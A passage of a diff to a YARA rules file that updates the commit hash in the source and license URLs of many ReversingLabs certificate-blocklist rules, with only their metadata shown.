+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8e88ad992c58d37ff1ac34e2d9cf121f3bc692ae78c0ad79140974abdec2f317"
 		score = 75
 		quality = 90
@@ -19981,8 +20034,8 @@ rule REVERSINGLABS_Cert_Blocklist_5C88313Bd98Bde99C9B9Ac1408A63249 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13856-L13872"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13856-L13872"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f958e46e00bf4ab8ecf071502bcda63a84265029bc9c72cea1eaaf72e9003a84"
 		score = 75
 		quality = 90
@@ -20006,8 +20059,8 @@ rule REVERSINGLABS_Cert_Blocklist_7A632A6Ecfc6C49Ec1F42F76 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13874-L13890"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13874-L13890"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "038badeab61c00476b79684308bf91f8a63716641f2be16fe0a3b25ebd3a9a1e"
 		score = 75
 		quality = 90
@@ -20031,8 +20084,8 @@ rule REVERSINGLABS_Cert_Blocklist_F57Df6A6Eee3854D513D0Ba8585049B7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13892-L13910"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13892-L13910"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "09d5998960fb65eda56cd698c5ff50d87ba7a811cbb128bc7485c0f124e14cba"
 		score = 75
 		quality = 90
@@ -20056,8 +20109,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Ac5Ac5D323122E6D8E92D6E191B1432 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13912-L13928"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13912-L13928"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d5e62d3cdfacfaea70f9ee11230501bb9c4099508077d50a2a143cb69476f02a"
 		score = 75
 		quality = 90
@@ -20081,8 +20134,8 @@ rule REVERSINGLABS_Cert_Blocklist_2433D9Df7Efbccb870Ee5904D62A0101 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13930-L13946"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13930-L13946"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "92a2effe1b94345f52130e4cb1db181f1990e58eaefb9c74375c14249cc1be22"
 		score = 75
 		quality = 90
@@ -20106,8 +20159,8 @@ rule REVERSINGLABS_Cert_Blocklist_462Baada57570F70Df76D10B9E7Bf2B7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13948-L13964"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13948-L13964"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c48207907339ce3fb7b6bc630097761a24495a9d4e69d421f2bdb36ddc92abcb"
 		score = 75
 		quality = 90
@@ -20131,8 +20184,8 @@ rule REVERSINGLABS_Cert_Blocklist_83320D93Dd8Cf16D11F99B1078B0A7Cb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13966-L13984"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13966-L13984"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "94ec5e05357767cc0c4cd1fc8ff6d1a366359ba699c43f3710204d761e7e707f"
 		score = 75
 		quality = 90
@@ -20156,8 +20209,8 @@ rule REVERSINGLABS_Cert_Blocklist_10Bae1D20Cb4Cc36A0Ffac86 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L13986-L14002"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L13986-L14002"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "44e91fbf4da8e81859a21408ee9f1971f1e8f48d22553fcaa6469156d4a0670b"
 		score = 75
 		quality = 90
@@ -20181,8 +20234,8 @@ rule REVERSINGLABS_Cert_Blocklist_230716Bfe915Dd6203B2E2A35674C2Ee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14004-L14020"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14004-L14020"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0197ff46ceb1017488da4383436fd0ddc375904f36cc16c5a8ef21d633ec387c"
 		score = 75
 		quality = 90
@@ -20206,8 +20259,8 @@ rule REVERSINGLABS_Cert_Blocklist_36A77D37E68E02Fd3D043C7197E044Ca : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14022-L14038"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14022-L14038"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fc13ac5880cc2c8eac9ff8d09f6c5c2055b2de54d460a284936a4f6cd78192e8"
 		score = 75
 		quality = 90
@@ -20231,8 +20284,8 @@ rule REVERSINGLABS_Cert_Blocklist_73Bff2Fb714F986C1707165F0B0F2E0E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14040-L14056"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14040-L14056"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d79ab926cbc0049d39f5f4c6e57afc71b1a30311a4816fdb66a9c2e257cc84af"
 		score = 75
 		quality = 90
@@ -20256,8 +20309,8 @@ rule REVERSINGLABS_Cert_Blocklist_33B24170694Ca0Cf4D2Bdf4Aadf475A3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14058-L14074"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14058-L14074"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "795bcb46b41ded084e4d12d98e335748ec1db3e0abbbb2d933e819d955075138"
 		score = 75
 		quality = 90
@@ -20281,8 +20334,8 @@ rule REVERSINGLABS_Cert_Blocklist_3A9Bdec10E00E780316Baaebfe7A772C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14076-L14092"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14076-L14092"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ea9bc11efd2969f6b7112338f2b084ea3551e072e46b1162bd47b08be549cdd4"
 		score = 75
 		quality = 90
@@ -20306,8 +20359,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Cad9C37F7Affa8F4D8229F97607E265 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14094-L14110"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14094-L14110"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0f88989c64bece23e7eccf8022e038fdd9c360766de71268cf71616f74adc56c"
 		score = 75
 		quality = 90
@@ -20331,8 +20384,8 @@ rule REVERSINGLABS_Cert_Blocklist_098A57 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14112-L14128"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14112-L14128"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5e203f87dd4608ba5d583e02ce86fbe230e45fff86a7a697766e149d0cf6f436"
 		score = 75
 		quality = 90
@@ -20356,8 +20409,8 @@ rule REVERSINGLABS_Cert_Blocklist_5389Cc6286Da3Bfa1Dc4Df498Bf68361 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14130-L14146"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14130-L14146"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d25d998c980f47f4da065155451503dcbc677ad041af85a6ed7060ecadec66b3"
 		score = 75
 		quality = 90
@@ -20381,8 +20434,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ed9Caeb7911B31Bd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14148-L14166"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14148-L14166"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "02cfdf883212387a465af3e692b29b8d0eb8249e0a260f18bec2f662d775b606"
 		score = 75
 		quality = 90
@@ -20406,8 +20459,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fd2B19A941B7009Cc728A37Cb1B10B9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14168-L14184"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14168-L14184"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6b5cc47f4df9e57c59bc66c32188e02390d4855a1b9e56bd7471fd641a245c3c"
 		score = 75
 		quality = 90
@@ -20431,8 +20484,8 @@ rule REVERSINGLABS_Cert_Blocklist_2D88C0Af1Fe2609961C171213C03Bd23 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14186-L14202"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14186-L14202"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2d181b9b517732f14d196c1a6c5661d8de4dbbfe6f120954dd3f9dcad00ff0fe"
 		score = 75
 		quality = 90
@@ -20456,8 +20509,8 @@ rule REVERSINGLABS_Cert_Blocklist_6E7Cc176062D91225Cfdcbdf5B5F0Ea5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14204-L14220"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14204-L14220"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1d2ffa7ec3559061432c2aff23f568cb580fb9093d0af7d8a6a0b91add89c9cc"
 		score = 75
 		quality = 90
@@ -20481,8 +20534,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cecedd2Efc985C2Dbf0019669D270079 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14222-L14240"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14222-L14240"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1dfb5959db6929643126a850de84e54a84d7197518cde475c802987721b71020"
 		score = 75
 		quality = 90
@@ -20506,8 +20559,8 @@ rule REVERSINGLABS_Cert_Blocklist_61Fe6F00Bd79684210534050Ff46Bc92 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14242-L14258"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14242-L14258"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e8ebc5de081e2d1e653493a2d85699ebfb5227b7fab656468025c2043903f597"
 		score = 75
 		quality = 90
@@ -20531,8 +20584,8 @@ rule REVERSINGLABS_Cert_Blocklist_0323Cc4E38735B0E6Efba76Ea25C73B7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14260-L14276"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14260-L14276"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "48bda7f61c9705ae70add3940f10d65fc7f7a776cec91a244f0e5bde07303831"
 		score = 75
 		quality = 90
@@ -20556,8 +20609,8 @@ rule REVERSINGLABS_Cert_Blocklist_1F9Aca069Ac1B6Bfb0E14861Ec857Bf6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14278-L14294"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14278-L14294"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d7c9a471455768a00deeb73900bf80a98f0b2c9da1fd09d568e2998deaf404d2"
 		score = 75
 		quality = 90
@@ -20581,8 +20634,8 @@ rule REVERSINGLABS_Cert_Blocklist_3E9D26Dcf703Ca3B140D7E7Ad48312E2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14296-L14312"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14296-L14312"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d8f70ba61509f3df34705bea0bfcb4cce3e92a33f0f1b65315d886eb5592f152"
 		score = 75
 		quality = 90
@@ -20606,8 +20659,8 @@ rule REVERSINGLABS_Cert_Blocklist_4E2523E76Ea455941E75Fb8240474A75 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14314-L14330"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14314-L14330"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e89f722345fda82fd894d34169d1463997ae1d567d46badbf3138faa04cf8fa4"
 		score = 75
 		quality = 90
@@ -20631,8 +20684,8 @@ rule REVERSINGLABS_Cert_Blocklist_6102468293Ba7308D17Efb43Ad6Bfb58 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14332-L14348"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14332-L14348"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c1ae1562595ac6515a071a16195b46db6fad4ee0fe9757d366ee78b914e1de7f"
 		score = 75
 		quality = 90
@@ -20656,8 +20709,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Ded1A7Ff6Da152A98A57A2F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14350-L14366"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14350-L14366"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "20ec1e8e0570eb216304fd8453df315a26d9c170224177c325c10cbefc1993fb"
 		score = 75
 		quality = 90
@@ -20681,8 +20734,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Ce65Ea057B975D2C17Eaf2C2297B1Eb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L14368-L14384"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L14368-L14384"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e17988cb2503e285cfe2ea74d7bc61c577d828e14fd5d8d8062e469dc75c449e"
 		score = 75
 		quality = 90
@@ -20706,8 +20759,8 @@ rule REVERSINGLABS_Cert_Blocklist_5D085A9A288549D09Edc4941 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
